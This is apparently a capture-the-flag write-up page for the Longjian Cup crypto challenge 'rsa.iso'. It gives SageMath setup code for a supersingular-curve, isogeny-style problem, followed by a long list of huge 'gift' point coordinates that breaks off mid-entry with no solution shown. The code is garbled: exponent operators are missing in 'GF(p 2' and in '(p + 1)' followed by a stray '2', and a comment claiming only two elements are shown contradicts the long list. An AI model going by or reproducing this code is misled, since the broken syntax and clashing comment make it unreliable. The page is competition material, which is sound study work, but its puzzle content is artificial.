陇剑杯

陇剑杯

1.rsa.iso

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from sage.all import *

# 参数定义
a_val = 58
r_val = 677

# 计算素数 p
p = 2 ** a_val * r_val * lcm(range(1, 256)) - 1
F, i = GF(p 2, "i", modulus=[1, 0, 1]).objgen()
curve = EllipticCurve(F, [0, 1]) # 原始椭圆曲线
curve.set_order((p + 1)
2)

# 定义曲线上的点 P 和 Q
P_point = curve(
1480902412624330128467265433604967924879175621324778721822553791992483165650313334065712892856426887628203798402227946111937619985 * i + 248280033442212078026584729381629912663660842264732233544133931088920517333558326483592439680557530508869168630141184328058575487,
1063473267082463348943776983826670708619445017230835195844111648761226238767209731540252058515506618539450166188109440566086315438 * i + 1477214491399359292603355035977428268773417965220883548847591474468057528862252443133638716703507083176807648546588008345161697639
)
Q_point = curve(
254336484714918197927485057298709531964473530684332223357900471713016451491419116513817849296332713866136292050578743336482952063 * i + 336569779925581133673425296270934299380299004021997431211455336955947557460506916625576473941830956381008213287862958120734974088,
672798403906655690530129932893570217632405529086858027624968144934702132760440998323563013877307454993136939248872471610804174868 * i + 978599551527900215169394972113017743837581044055673443208277943573091308364000557275120262619669438354499782419523067775829261358
)

# 完整的gift数据(这里只显示前两个元素作为示例)
gift_data = gift = [[(888139847811582305509289169920951374979091682883800320862134320695809587980596005990792797161496988234911597845952831226138950531*i + 751612927705285458294927053737143374889894580645093936617849815576300759304009815457855042815860536450810136239572378539519429365, 28122971578213948477092824489039634921384609980953524889499319327216962499657356544832948572016502345065750906740231658963008480*i + 143611750902863179315833790071391961547033839769048688676843277541363587966865166666173731570756643896433510241723345203507783743), (733437105329899672583180816179711613967540028354735686212757277834758362545451969613506757441955200180911339510705525516313815070*i + 1492481944994898297347089281117941978613734268087590291302833372359480158221027696678181993693306599206476692465374719549449225421, 261682288619310560059195939801393972335467029328922395288223990070657273086013844250181683044023280221003479816199873696901456736*i + 893633068767014017633828150345616502927424289701853887231301180073013802961585590584687886686705459561434122849621900138251480949)], [(736215989785647564608286409191598317885564302747291658133967882005626929856766181765303983645546814915615960458027974556958123625*i + 1385716848125687669440654377666899030240142926221236246244784037649634779684176947262714051458456478624113501510464003406554356177, 806344398789387577133419057462426175252568202198769974237778243211809767018503017581153861827971863854460653623936494940276191615*i + 114137502560347332721981827773956215388237833612181497485145590550627253782938891997115775128752063000106411755100075359232982955), (956614663494061118381849166039069824831177496887460245444630408293178638139030677219967918739423341145218412311797754529599992040*i + 179548760592526501682008552389102725249282579453735716291529172060586287870694445590377690033233093955162581151345801154085315475, 139316855316473446310335693343062494663816019654626273047302389887886151963523347090943566583573986579331900752923473696468528300*i + 284981056242208592250888264137067809833604329229733524719393761408756044728106700499644604089590622743864926761771820888458626434)], [(1398513439318913181234646525752730433489388944531681602551006611246773071075761795525495447660180109455990061791919661912390806047*i + 1241287470202976028625354577806778512510208859881789980226849757225727801641553376816360914653722144118258870221276178342648993306, 1120696629804173953840531052600856175388869442911110432628373291617778626613045592568944662537748723672960362098782896747437564445*i + 604869059908451932858058483841785267621955234882012257904816018749348603568101601652355135314707732973325396799433571201388693477), (1350761532407641639935288704343272258188103096338577492734016329054155427649020620699322328290413507463400263445233452974451862799*i + 1127497302928232153756767561442245741109730704805404980682458199114438053424983444310966943660414673972058564738719379601976986099, 717899708641764744215505743447112033144378548272341237089899970854067980123320741340445960315461475279705726727096912959672222372*i + 1329082800839360866469091227694150325671637571263840323617064217005613889789768576675544390522986353771528982925064467992798140563)], [(800883630441627541799867987343004741976965122640932470029467720697688271216647512971149197018859326894045491773915151291893083540*i + 37412740709429827025989258633357776029212954558019323464061292869035551814329326330965295355437773518311197801722187895398175727, 1355195039077814770781560919733018562623658024816406003778594633260097575289322953085545132498271656961748441429479165148110217574*i + 710042415491054612053128371137368307099356146416170495840496351843423796970471788116338751496788222954452491327603228654528730185), (633514700167225539544860544091471859684443637659979222973301039365253011729513795080780634650197202613512403725031246697214455111*i + 765693363451911187047147475349041704420036083193376067482185462194846590025206425479810308367255270879640876088207627027645078543, 1446126466807316355647300990069497381478973840248446400692760080368576932437827005430069819035532120970152906887346737863230055311*i + 1432657416465080729547413178995410350847512347379923848507589182077988872829136717501209248675148066270373112816233085775200261363)], [(955811391739184940463407882895760265710601140465006044915508753088868903497995112879415826176485507439504882396129540513937888254*i + 1213900411068341781915449482322163395076156320719264922617954460443445309076550600890766110484040121802808856727816053911929207919, 247966960198514525300591157773330275960064528240070841986522622172935713794336798474961775312340236345408747447745756160969328566*i + 1522522328318392138420934743836990262201630664710839822522148556379923477943467032627344709542898909608057672404119412335799523389), (141795952290675655365567874694005206970541874089307186015659590063174149564115798497564216407793594210478765543899139409322247058*i + 953215938744417178386791186420391003255950651191394221231253981369833619919094274229945966143945746306085978510715577524432900215, 1196654743447222688857570116513989670374445487320504244320845035118411258249274952930421643849337530330457192240237876029463618977*i + 924096588153425948926574669121788581448466141956745936728207095035219290624935682637062381122969497480810299594235185668982893303)], [(1119016105042978936686841569194223003875271659841412259630704084556994532967964502733331617474115671807457121094583393407471178674*i + 649465064649658685371669062009971405960265398850695701043312086446785925211055246619730337891899869621280683560024619617190370524, 315605842897350116283937482956765822018387031882455106577962750614810295416771938587117537035453395439216748716184787294656551579*i + 51953456697413616086358473742830131657077673248924199055467439959652014401117954616333618254742717969468186925408840654650982752), (935334134300508790796955009103542064329974535348645585257762221107052970807332593398819695033203812026198923256943375252216607852*i + 1509354410247354420299185241565824150134657920379425807551157977655596433324564222831576051253335962413504960355586252102395695114, 344417924099685116913538939397437636122584218252852765275563845517545867070692654557747495309719607224161053688042915816789878457*i + 1242574396340368691698828455786879174046348834436702406617513476389166538276315887649152943032539781824219004704019410118818148903)], [(984282234614888392231918257125546776060484550125731847208053049231875067704219068509311998415743592112866666094526767464303570248*i + 860237442890275118516407874304307971275569180623553886104774643394608586399287375876239045042473622831627817724900357443501621656, 967576798163253789948057200594928123701215107788937767252060882553571458859047726443028818040325864346582483990084782803361292904*i + 48311641995590701674277201001728805797211827322714357402938356623378739736457973859440976169294272973679049722520644399818383016), (283193997446448588271169276425730749557052782851825065976836915248653842287073048241582871573974045691817590578868147097280675562*i + 350969806436571255789966043126328390873554506416860915530112863377582284309937564962532259666153407064293504133573103792470180308, 328839709343742864239052135578654735534502099410192271779568960814790461973432109985964802320388110741304630938812586061101992433*i + 697190672427740591118773342786839224867614953525017876531251444723553110085507213651651046809039590509444056491638649982738387209)], [(901696714954005577554120075140462280969313218867153641093342360926678859197004680305124446357754152937322965710063756224018500894*i + 1072563891850970790602295557680283108958544490657612687709154739223674882464792939627037071414220362146474414058250448830248138124, 497663091957849533745884549822043019303928371565400968055296851418725380548644500896899582644279466797986866632110794782056671451*i + 1261430382431534397425534563065932007022650751061556448469620601378148719860422318288365687486933606524629253183397357344940256556), (450133800766297319868798017560484875554505357653903610434669603258164776486440189534187954185431195581570174802650479601765546343*i + 1076795600763020706122833588653663985422925953513926749263147708935242945421176004937235472521576326069885607462945023102789860634, 696782138365048621570760506072935235252600160597544833106104088657215506131508825320146095069426956131744830961343640868710663828*i + 370222404740388303090215563037902970514330037799384638033861820432934178969164064596208128817683298726656952743695721461508359082)], [(497419027563345520693292089716503354552244522635597387045487821957518683358981723003357878649854529504467217285499913023760246023*i + 1407318834908970611129056726095729845787978084758476177626076333855243342991018579775874515120355926281038984076490216476068788524, 289518455004885146179744541402431214750492300796860213472649287655387865882636377671494598661599944116649545318817853868138986093*i + 90111347857745567263173010329145217239163252044185838115191667542059501022026027331381061381169973384963070701695796015104056446), (1135061479859408932050680378463299665165277738847124641168297856143572924880675903143661996013693210465363851984531891344001163861*i + 568399938120104218718464017176786064063323383859511080950625957027273217922243468140233217825166008188929035066131403260262872229, 36196770636991548955152479075864333748325903180434884822216185671088030854159737242692386184698721958977577412192343821695210317*i + 733713487136619206616583113626260358070052790964632892372807399988005476293795687881847480582880604747937965645480900453653840632)], [(1266621369910880655152383149454969563733087223188883148823650454643603645459089779259603329615277421534920530123153116075040710903*i + 111246135875413294868536219901082998885528742993866833312880188602514407331497001860148742377830757970125106551676651478456927720, 159249985038029871312296705697077948329763537414702020447806955342888670490119887612015111030696026062966087090772248777879896195*i + 1060149322619177951721407542529241223682282434512452775357943893033985633670488749039332017811988690395643335637929600020445493371), (1601362245478965737388740526049838733885228603939193268973644790923476031031963213032715046170142527582839699861293751749757017808*i + 1023288619429649989101461496242304981673072594350826760900298602820367445263821683170921201197081349401260764401813165248690110887, 1378542349788573648184003653477354401816359542811948465112486173339791947241391797336495898410691719898513997472192963328828903679*i + 868319991639480411772190659052395106815742332116969496474844641357727262727529601679001370873021136741556363821743047122515064895)], [(811393850878673635375091533878114237555321520228811798576356193342326954692141543780461891899532961165522181877364924882160381029*i + 1177019456414196734489163588425183301283074044205986990487870163676344138993494324225821611891893088865843739078859601040068833118, 1348100208052978315279927988834936880697727647685995077302319844244343953687026202203652110704869972247077151191724162623042615865*i + 1122902329127180952789263722914531427749337242594795407920718349591056358391843828086341115039531360623471822318964624930923690357), (250462406618645232794729284472745275267734463700174298672589125444464233954574283044827077663164980533065969751734409610978295122*i + 198099483559644486916733824010047595619433009835920124416040717141067274355812653643982542637838488511553485301435657142512607663, 887048525655584727515879729517255206416441222745728174399977727416865079800330014167724888014860691460284358395010268375291391886*i + 173078076336625843368856851866493990975101071872214348865729107043798826640105233852509989562276992209646770969021376863633074060)], [(1475017441881688818788147658764425904619489852372044149650265654222191418277735817505648017836067388483133428495041009532498264723*i + 889733649747915380659717240334046318327863886555796842977452431891157013153735354154241394618257529204544528627406037023432221234, 291069180921282923078626258452480622109506733399040459215846439123017661467064659452353303605540171218625139233084572315778487311*i + 1537842337323652998285422536135705205833474419868496102849878479119121420333833631609750754164386183287287061313780035981088962818), (820773355971632490539531441302961497584289256229938739999115552114980349777859635247249948120356946508323213212668515879291284684*i + 380986089759616580521590178966120203758054091847394328255466082944899529402418110737050193705095504874622331876976356325635103592, 1590302258326456846729209239356804235395266776547627753258579360100177028323271166441045933526032927584165729446166897881554030859*i + 34993628825809284188145162767219562859680949750221649807909175563932003620156293051884234267724966358792775559793960974005489984)], [(584187680281796103397991012634455838915901139877025678716970782957065342601681917761326402965004871052058026263484020084701017133*i + 280183807942087070753602356807848139363231769866100721078266842544119338433901564844254469362324637240469871424347672851577941339, 318597342026932064838317853176606021288508061205978265775675317486932254061716928926317615207592823697925136205137042493917065836*i + 779923652285755650712782140532118515009662012612605428856672293171456950473647351954090640491658520711443143530267736979655802748), (167620434199925369907774535192819299088349790563270390453966318059119371579788711722725126953678613197121457185386681575266737810*i + 458695069001743387285125331572504665665977239008524038542051914089571154581931011894632844437079901074512216091944657265886884770, 462388165494683018220476937962953343560598163174673076739876049164852386079290225393815853864568684560128172162084425139812510126*i + 128947722908392504859946947897236302323056305781854763779018143352460628839541598891181781572375990815705694294714669733907064266)], [(298311592683620063202597902267999483713101256760642214780228070419339323438481752290476907690753257464653793932403083563897312596*i + 1023927400693357946551791785707196362310386937527902434114321026454331834855234945930841747529421193266098053596212502314503677301, 1477449438210218222679460313639970772022621551345912262344565803657651070644345254131841440500116451809252938357907942417603494612*i + 868734754667385377899839285914597717403993582977082994405452397336881258657056701956229333036913380132130786803717438700276441612), (609951464859780769033551517069835919177935438530111188501332279582040371981593833986958542125809200271167669798812949779507881430*i + 542342019396542194277949154138770418873891262333834808182847738456816643339538026543556665438803641713549258071870920807112363025, 372924366679374294959502205997158518647339277348045873853481713457327433797654715783455973733923444989938443918160504994688121004*i + 1163577788474421659611275268680723726805188376931816511664050716293488800594730211681104184356139406479503792485625394775398491224)], [(664572251257206703197922512099010172108947805427364948003628252302127252904454440767313745693099086142745018967063691597951056027*i + 743960564470887822237971590213019717027159267235741116932558595028898789563656116622909006009079438902848620123253876268206437275, 750003620648483529220940458778199551926187951536511978075126531420958845904097414196651954955314244296506088338555200172947967997*i + 412594081181348492868944198028861830685402141609386258539163645621273608306502760953969945490452323933066453264820933236379412217), (974941181598277265066600031308794171802811170993546242081936043701218890201387449575469906160553566666664901264382338815197128869*i + 1533028623965721494335568660627307291153329630488546346650872685971849959437254026491577158494001421270922293921140185953466583524, 1454473236718540861812014907258098095163743001801022348546933815168014051995591627597246881581728061703903339372038527067089641155*i + 993553548475904398999863363438908291878230834576379037643326416421672881371260915567183176625946171943282856941117622000312095302)], [(434479101579986107440224683779539903195604658683859465598812617321025290518482318802167988733183192490341575310915754096271112484*i + 459130486779211961993748916744524316692511690862993468048627951483341207388533516287670803544110312129236322095983689266257604655, 1459978570964513968732105591403157539451580423015694676387355742894775196873422142879747211483852712897812724109112169642359461769*i + 663420544072730057865386779254841919090897950326756170864841683482631622880072691781034126309301136257433998017337453710744648335), (79747029396183427333198542395465174949824528931889668237031129901265917172565960960990742530964771061348246430174752312188480289*i + 1002886640127762198819363319260155106323310768291931124156306810981959534521472787268604139613749289908551786645388744040573941396, 313395577238436046303606195926582080005178149051232520437088400345425799405092796551557537186431367885578416777180607667052236182*i + 154353369355183456093477539709026627391183645615419644579052273909740271757342172067135228637125981634761441413824297632880138797)], [(838993470718404622325778099638345355418474003071656026472818290931011701585197938485277217192602397955347982623372444000175283146*i + 1160368057839855817580528077400411698870720558953370051747131932603773392026040443897043235000363836042862183910966035424932449322, 639662412891724913795199156365030723716550275751541188295622138346136172986867443741064449027731839295131952627799946817896272860*i + 231551471956885769469490705351195094340764654279552250944745105585900372775411178320488947556185041762948338775763788633823957340), (396259545038477820710048978671713535715712936697309272977567821885700425073380147836701951942953159067869074066818444019873506737*i + 1366220244329022012078391279810162522956442203390215740673971353368774544405935952554773110613857785215403765789936857033435587584, 1180524787101632174806902803958775306677212161913251466709727980997497739499421773135277770991969574488359849293072956016526883499*i + 653510929876695562511016856148759636762296816997380733230501370548104332926282795924205136450155390217076545622799945486154657437)], [(846448106083037193375704024040536000691074480773900871482447285856128104096612329729431374650044313000735205063542661782951714137*i + 501394466883549687118478230187540385361663019442127694240528029573087001287372399188410920372226413897627308109548135241821436188, 229944642581727583761361602842864961985126852658436729452842402920436559211228205999197926987106511286219382840540831551170487867*i + 945930147852711420773823320602989023373669622338720411139697426430968118065872453049006689675831131158170446233493094609281414368), (955935191776892505936071413070218323596030357560371270222311200675888143714232912269803523128757445480846510173281055061700192030*i + 772211437823886086795821071899796295011996570059069532422055827264007066442030129948369255066072734433124243459074418994023209118, 1230275105726356409234201586710836492394907988811155673320717252807149289363063564806977677243008394018199513295189330808610370197*i + 623231899349844263236017881075012725881925734768427305407138278657633284990620364819353752223554056573434965444062879686312654410)], [(758699642373128839246651314619794903518632151494305741392772178878546657607724480768085338279870103824325155481581578455625380407*i + 760599119437400375007338600511566879083023032501974418593426747230361449903847438077061137093692263240647572104167714407351426737, 1463482147861273423072956878453818190101784025289033323576408410488031099735846917937719650798844650706550656502246641403821712210*i + 519241283631279720741849345223858532912312391965835802111844532401349639107046518524375684429415046352908406203459154090552687386), (1106809689784024212468620964093670262755129540783443614699391931865672164358325837873646600038818817033773662219281189412887761110*i + 577930291665985866488767454881063640295056856566124459678742995679827331278351594198673086545324622534300475640772489230185250142, 1001784598582532644226590519717382241944744055031052600644865383759665268795322766467649783220303865941903587697389909269805455754*i + 227395238043823918653272179577378713618643072258573565275401291344428779855470688800033117376326756727426715692965793298266594227)], [(1087075283931794155053247280894433132201616175697603599471151065568266311230245262724158398785594891223436393089569959043835442510*i + 145358757620920187822721177179425259085955673433359421245898201856596503137985157506536898460799935720014272783983645096833702287, 557994355623194185797545982733517958536479474724646548688890421103852888949475820404284903922826889417546036106047523605877728573*i + 588118013915354294027619489010262116012402275249362678167312822412060291613752572213582656001511610180042306744085572443622681795), (291919797966766154423601521966062904472652847445125372764740185898146899090904224237990565753257079758871425453486338114827952188*i + 158088349926801392991831035167519915781107676446856034690801998077203861268602053433039786860141824060600615141246104783529546745, 583461767574451513296706850086840695355151447497517534388482794086216219822354992967887644225614156742297839612860842998675931014*i + 1123440115414390405145451210228611317107318880814188588174710938697062922326127004241406909328658597685520336156983158695236115621)], [(656178067641630253196561537688368706427160517872469311149092327196364395805800649252755456779959888716679526046847543162661936538*i + 1446790050259904449330209281672948682167511431441662694600288510082490442246820974641225931246591924070586450642506774059962703382, 1306492726287627412319709713418097471949986819588789688201119433806584339067953007444963634362469220852812448616302793256966966466*i + 199996636392503709424398900594973905187125760885351426506069906058069846294910728178875137510586306107843234288186158059136544697), (1080714793786850690168399506518791191160462157693270999361262078562434577879797121058839635112868782519383802365537799513227350483*i + 1502115908279049893617962394739484094507343790812245312632377515838687408620406842565364483115850520578841113474390426315352427243, 563593032891023746786511267871709534018399621695292865948737316759059573945797742673374678950363257117649619259942612557535006560*i + 139855999727026038972313927556968580968871288155943062120265791095032351130722562991193227905980120613161620261400244913923084244)], [(126447791110508925861178480736287880213142459394653884285015757134908213477927258118969998210990697010051754574863880722788738398*i + 541463039879820695132538435890050698869581666152465258960131001863384170988187333833997382879370657124123924372544130248973422231, 891038872559759283911540977470962120778764920741996203708617100183085895101846431055532253322721017436251230980017622492577662973*i + 164536487604980326849951208317088675784083720287997577701728179887092724795940888202465066446123867666319206810367565215523290659), (595741792484097542280373793732122951065985497531877788943821793419915286674012400208844310419741297643615926934000156278746451916*i + 972140086410898426821195172210182162344598767459777761453769368965480321954285911106329829987072924177016429200297443903810561576, 1054118873191731933779575609335481468637719887825859591901790946767218459031924990147612188853764645324802850647972778744450833914*i + 768710677044176717819860826793393114141387692087753706603914228593797734119251959407647042669349660240689469707878991254840835304)], [(46057421783552998384120893595286851827997390859312876607697514140302768449853369614115470387009314596345184073545857467189006236*i + 879348298964491917047945524212728339563332637111826898428595693136882331371744136776163091427250584042423392880330082343581636567, 870093604505631265153253356473351965847853109419235342173389266293065942313495271104786957479655919004005706429662787226814695940*i + 1594791393533306240984120838037596204641561796771173365527043169512630835409147965243160818935489180006494240626394415731632782238), (620907559715882980164639684312551014773466474267898492207773136357321628809595209395086921009930343676969409785404002714410920542*i + 360033488863082423058775819957371965461874142237120794417239198227981620871186923965952894834610967010075692561320046889332892814, 1019206851480406363703632223825743062645180543095588456902547207973401759702564759058915285957972402539318815137091516201538464821*i + 927159505293394316302882903622385124593208002881916891093031396097768730190684231727019502362022488499404660795509905550829069021)], [(1284195220195371289306067638623459072483072804668547893150897608477095893867023232809951250772832216255518558928450679062412139946*i + 909650237331316605196125448309953579737148186947168514627556553698879778318991313684623098067640711037584712119757855418256426081, 1115141343374633893132343325467477251611542218767759308238068676252002282598135382432025026123564507681232886013966145439537458950*i + 1153892855761297372404154044340731737165106653824604530338788124762133336946481977840610188231015475515302850478528973820970972448), (18624109387869305045589618338131376179289160572508096456464604997193580549819595261209523466719315869636825414792658828579182272*i + 631450625542970025362187865267478689048930393250770236246851401147495880803079330497498905319329584813098023782481038571175294327, 1440438316465789766041626826378743544119826075798197441223053970112680840575492532278881534896531838686543167957296606942962486526*i + 1505369167701917022760413578114641054854653280176303732115019021823968496421706467769988948392964745987499193601661046685797460142)], [(673234415120158892847416144697198696646294839182740896784941367558045164837661528229975041594137526272466835588523745542113295501*i + 1165052700957942562354774266747114306999830472025979954084273794489831180199571436221335897124166527236775046317063773343070128247, 370833089835767827226215548058683676412497607825259576065749512219390152996935620532203794451020323506068527666973755313506250392*i + 872736378955590209809053541257129216973645936988395267559937297937378569143222381824371556988766219638126174296317449304001019425), (1569525612946056633600714377375515940733389122497850382089475834966798516315842976641174201055919387594204681781982408310205551452*i + 898345423850104926095968879663671947844223022784258963536840499459240329590253295595951774946275863814312398523214709349682900145, 796490536101669901526523280275868711924413432078425218061568405584640907893440228114410051655839450518104332794111199984288578712*i + 90888508739066417798469984122288358986498092326265652133431244769801974443493162888102252949488657114934387859271629359423611703)], [(133360860426086348805312825232517944630665265071245681901693842092726266867445431009805289270837651687885315277003307391538961921*i + 1574516062278000746065103583316868890415689793121993304797105396720272656559910865766080959466477978655810483076873160175883227641, 415480965498082912521030280080693678722154435209134384387363768533567371381768882721211956580515550277745191411910849827646811281*i + 1475371019268113685602205126036426913459359644429080761300321730714456047913775530298166868238941646467844386057519108976590734255), (467916840935854688385852902252111959778472190145217783429758704956838539917737507272624270119331074941322029307029031723226559417*i + 1057389957224895294367153683320306896344521103385662269712098752274035753197994708903132393041496401907737556213458983061313725482, 942758425037939873020171515755147725165292629212247829572389503079513000242831250098956793199041135278301882144170204608985780760*i + 909375741042759750048302471474262318381879215503131209454283770937839139855501657803402610877718996528513906274360303512830847175)], [(108176673632966713603151069504537213651134030108271582857529768366710278309413068294313906654417368867016044507938264906567145787*i + 1347923588218689564064346337057745719232109399528858934886654513127811865852097336542715363253283318770211231012040257529025363933, 710746474150201880170175792280782937847855839527103425481351881071748667598878938469239594687030459368705126751823354628062761104*i + 1157418191463417077509631754948755893064646793767913216273712314011513646107769792325421148626442754907601783107259948794445878842), (1601165713330908879528174574470226816905740074060565938035563821175904987858863020745793690180959385593835098324577249940067376410*i + 44075014846233174400450068342072213675089693941529207359486252514966663841975170784589755772878905533229245888797577848783413303, 935927176370621625503935377553338468395743407160514595407772240045592750779022905584198712959222815572185381630725258267239184966*i + 951248539641260975498245113484838375073067864375951911364089806362758892086773422477335872244070135578992591114529602656468626220)], [(370183998118255557839941109113830738774632357189776111153005809961143208132651698512569138353674378641246190253019831330908677469*i + 506423921813129533458788581009259755806903736920592397634583440668214368284078465519141895277692828100537540959008253550825385078, 294594675530036865214276855873535439459217271492463176086419597797623371725247890599424669299144484012651738349001847721808836168*i + 1504690352626668561288534428672022445292631694677113933907594173029916224062397174912497880818210457481114186766078570767768208206), (986884254872708445045765333978863563803732710163149907985974354462173747921191445623408479573063357757949765195371507413302730404*i + 1244103612764931323399707475211750967252981244356942896458131306232206124030145814943002385150171671963024777483296524207419611539, 556004993863960613272602693115559501676311297625833180274935592173190789700824299820777348440610674353680440179947422058996446831*i + 904212487618522120258185532859534398861861564389294112094728039888381599189250925507579965429368455632706335686693594282833512498)], [(1338852401922017538404931883930866374747224754202551339093798225272908597768518854514075021055181105002057655323758045816013459442*i + 146072514529330572024112710580345949211299144567771140807170869167616260766831897429334312129992539806106297041930319060295887482, 1482565330578468625349032514154570657228108491365150396489803798546094688250339517153849544459113281454487883655814914923892284715*i + 185607914107120459818344291619721884114078000829360495651938794234094028468517925718299077841704848335410947631552300680440369031), (645448626420925056439229144331464571178684194586857489152844879362417138109714501689909956001685511984014233798784793819609259566*i + 1051485362260495587497919595184228784142061900069409431483524363136329668153252649191591710579080358336817863739953172089125504501, 1467030261366506474070534994274434731673105614274433072413858446333263093749395136365641425461645131103510732711828270721596178627*i + 1577028516510480124244835257176719706131271451779075901905189817289330969554560689805587592644464614109526347644595026379490824194)], [(836751410055302835560396395412139552414477402060302290276012124833341489423246851046262116243489662859642497118827677368109327345*i + 1234679431483311779543045955853301423806874969054563136471508186652455584472792225529693256571469679240806493980811645242885902103, 338163530266757956494803930933914778399533039943277749881469958868872593068894344469842126167360237590711773180942561778601266191*i + 1059760933523584042328869961241303058820746204413055197135442443567944663727681226928318703074425985814525520775231144849232159848), (403249073290355817685929693903307928706796444126315328634923525073937147842672495380853881277271339482565219098716047904236816633*i + 767037641621857991885126717788395271731053917583811608252755502675484386825200102854701289216728982567254099868711368148988580486, 1503910462724850613732777303081811085188887435938937003410044717927660074893054157251360576458359669381532661667722254646777143045*i + 597170089785094437898588743738244721775039087019828608328067172903921241174467138037546002822551248288477890928976479598212556390)], [(333289212602186918286577911849873511619392561227223478342438425551302761736902899889827408527688619532032267607947169964225596921*i + 900946845302702710210326454808190302192794345356693072303067918110710292316584769120278324442359504098479452848537664452922247455, 346725885194957957856030598539483701083755491507871132802576585056014049845968676782969682754223617146978096185558836110366977945*i + 1432074132396808777497994640907004236255715390374180878050144268692147174621229025627274852125656735784564682803796552767596979573), (628681403609607267537817875949216088737348712285023430778890158409757769475611393225526180496439352072921803498883578587984580722*i + 1172302481770086302094990146805471389973604375703722753281084867383853755483209406959276149957696216754600477427539507195164764061, 1078937888297536880388953219071649156182080904974530082858332788394767960557445454660822258451576425889887678177904892705810410744*i + 102711963578463651303348928288227612362722530551753912636643160367202726657305547906868040281822588878695785246763523048903895354)], [(716788496902186517636836654647603320701848982951459098535220879270010201547819798150659794987639657727828818057987598029926933066*i + 223102652222594548403967734805953269911097474109310108535096088182407499467400667008843981712498459127372550531449515534787112885, 1579128263860211389371041997758850942939386314203075757465128815307346755648123350528809917848020395381325390080049028597006507759*i + 1021155054888020217300835452763164193105143563697779744408611953597690241328220084067123206859491028353616351416308580785059619729), (806988825514345535558131040434126145120754567152407876529074876459311373288215071668814301303940155696931187504396691487131728897*i + 24771077959590557088419602989944767218106358761793242197609867166278770160132588817626841439651509759410525501183342490197349378, 1341549977284915932640677023444072242544534163725119907464765964790172885781989964635145684525914460678947081248790518550177084417*i + 638462600820991701735572490433536902820127389742518438475765404223007681142843008908129370937455236933889082741775424918439109951)], [(979036414345158295360084525892895007446725564788595577856416548317541638994361271034335864631382316895615712913224646832807036744*i + 616899975271163112459077145741800377431956442677791228185323255503690632665709619630764426355980622236538769844944999248271242683, 985097641395435142472053813493396227879978644617771119918697532173525393247679618868179223103413414780153765453244821772097119755*i + 202377779503857088009490205630092402159812799117249610024602265860398616821953856147530113365939393942805638505938746365752546873), (216413790514496278936925113748423270052926566170431682678595959435713803498450432882470529178392796847371759173334906787626713663*i + 1201270094839926653689367194265755006732386193409765257322945465723254542374779635615458990851175586816728783012591782398737761350, 1480817930331136744788494522835971607971947679176872283363121647259279471069567912741341698463107041394974976240802479340105794689*i + 141218928625702707369632597014478935340584863452458576480722016902762850884580102806571124535157603158907663818387334152997657846)], [(1523933926231151622390808056617304831728831484000125552946231054870635874904278594556452879103090165615232942298622373629048698786*i + 1497389475051717345200887406942973578445419173891767508601601869460213972320538393906974234666070182624805649436356503028028121301, 567849067710509829356935165598713357200384188833271733557921212070004133990145390019343860751756191483887803388519314800510184759*i + 14092098908984878096284599420886927036189329547590722384696204512620357831239132510321090567178612228213950276384370343379782025), (1520927031888946931344710949243010364334006213172758635133484983510502540229962147555766200824264876370339173147384004354802436488*i + 1431976122474474376760978262697215652771220556530631085383193519237229634942585329944738182019919014878418857367667228906669920709, 783583688017622369067197395343735022924352179843244124572870297797255539169156991280759859332705062569762957236639690671962342119*i + 1337094048718692849151279154529811796264640906901766528150122771501302616020167651601985335030391794594361075774056143811052540404)], [(65714766338039947911331666330814100154655454381337381356610849401741936703876114684211601771411635365718090390821229999977821789*i + 1409513490243002298636736539102964155311416171253309079235833348694763974730294869615729009042988907131470088571670980295513957877, 1111045548262900632311751055117659960057655338984354805889363180733665234040060402159126742551744016894482693765529591533804945695*i + 1193061536768400604932479348095316830509620687571483059588070668366440578414422540915518894596423449361493879912636043066721165523), (127412194014717183880651489993976287993587085371966531798378791726241915516184131486509081337083746992658859558393934362970736575*i + 1152822242544004066176821739700365621897571021582675757496722237915236259631449906668133897364122306173916351141138335594685382429, 413314612622687833881274994928763838151894284261433365643769584202889398930713214190807624838317956280592360046074106876711710385*i + 1221843495992564234728065078469829973499224948047059703625137884232628794564628114012791586636499953361096036398548181326618688854)], [(158239512165107332106128550696825868230932565835513627581223440894523379943090317575824649985867317824957711861321511604852881158*i + 371169390931183567797285069156203231388131498307707313118616996892761819346283166384507232260136836987128192484714808875780099445, 1592078519774902793370699506512539060449546437644060713033780497318700270344549999283011434261227986812593316978376493631975710584*i + 973450257359105225341021484806715425044438534018291093216103738947409743052785486568668706553095364534030319749663670689956203917), (1462605268771851032956326161565206684535477843177519921295146367167165858163710690018154568663678688450877641572180211272614602041*i + 791144035964866649274307676377010257271040591342866846385813464578933200930476537151588634896925926915768980889318760530238049591, 947063510727367984748214596598438416743000617467157460183651522121643512079452878856235783754898221042827398672922992399529841243*i + 988926866745143676563284563111443530796030298033238374524099911904382517722321816555810081868392686492509632417522138345826236501)], [(406591579333886973360729469002878355919640880317258908548748448204688860679745375032062391743298617017607509071505820591051411838*i + 487147066732858491052391682835745538613128153155011391636856893614452963718029944701493796065743810910896738576324797904813568446, 951709757490618806479694598603157670205859790516194979825084238190458926671465961750559734121282081266248354143773046596065607186*i + 1306317275722986268292859912026485260760516674038603973181867421001456594579802414291781862012632151309823025331724312527118764402), (278815521959527679020970662547372634972943671656930584344842137024557471955455060500571474490874915703266905902873042875715348053*i + 1477370398605421941958143367203579590934278448013275496514983633351030150283545646944565369334434547124073821875292925868612380275, 494631919740561319090747680570564086763970902177288229514728431795114900479137936662824145084115071580887580695588683613902585028*i + 808369409807657780667992431018465009239708168235453002220769166240675111444602827848369649440050358315120367463934681048981008255)], [(1211994124884682010638122854964477120391089321493174809459499244322048888064070939369586937380710252896359018966649247517695008555*i + 1047377771372547984934519704077695100212212811905221271013570429026952470491556772397142696035088840023308452260224455291170243441, 265411126706600366653591752263055089351576954131769575173088837936146176460609159799094738536173665160082580180272844456130280759*i + 1298138027579399176524124629031088669126810668993114779145701139850958531450204454771858157387369916474692491904821239682851099327), (228083698472970107662896158113132142216217299351645122224609359194894450753812529629853200640709768356584139738027424963566883237*i + 74454064043727078753846619922480879304786047196296260388596223251364688812297570967089594796194434921317466100613648721476423126, 1597955077804548180874307526581249583814392069870295134633528368667303754465284879454688620050906003007133290828733583336961868524*i + 1114211606077517929384380722424788312901863107907767493742376570272799156235854470952065816055480508811970662423836120904211735142)], 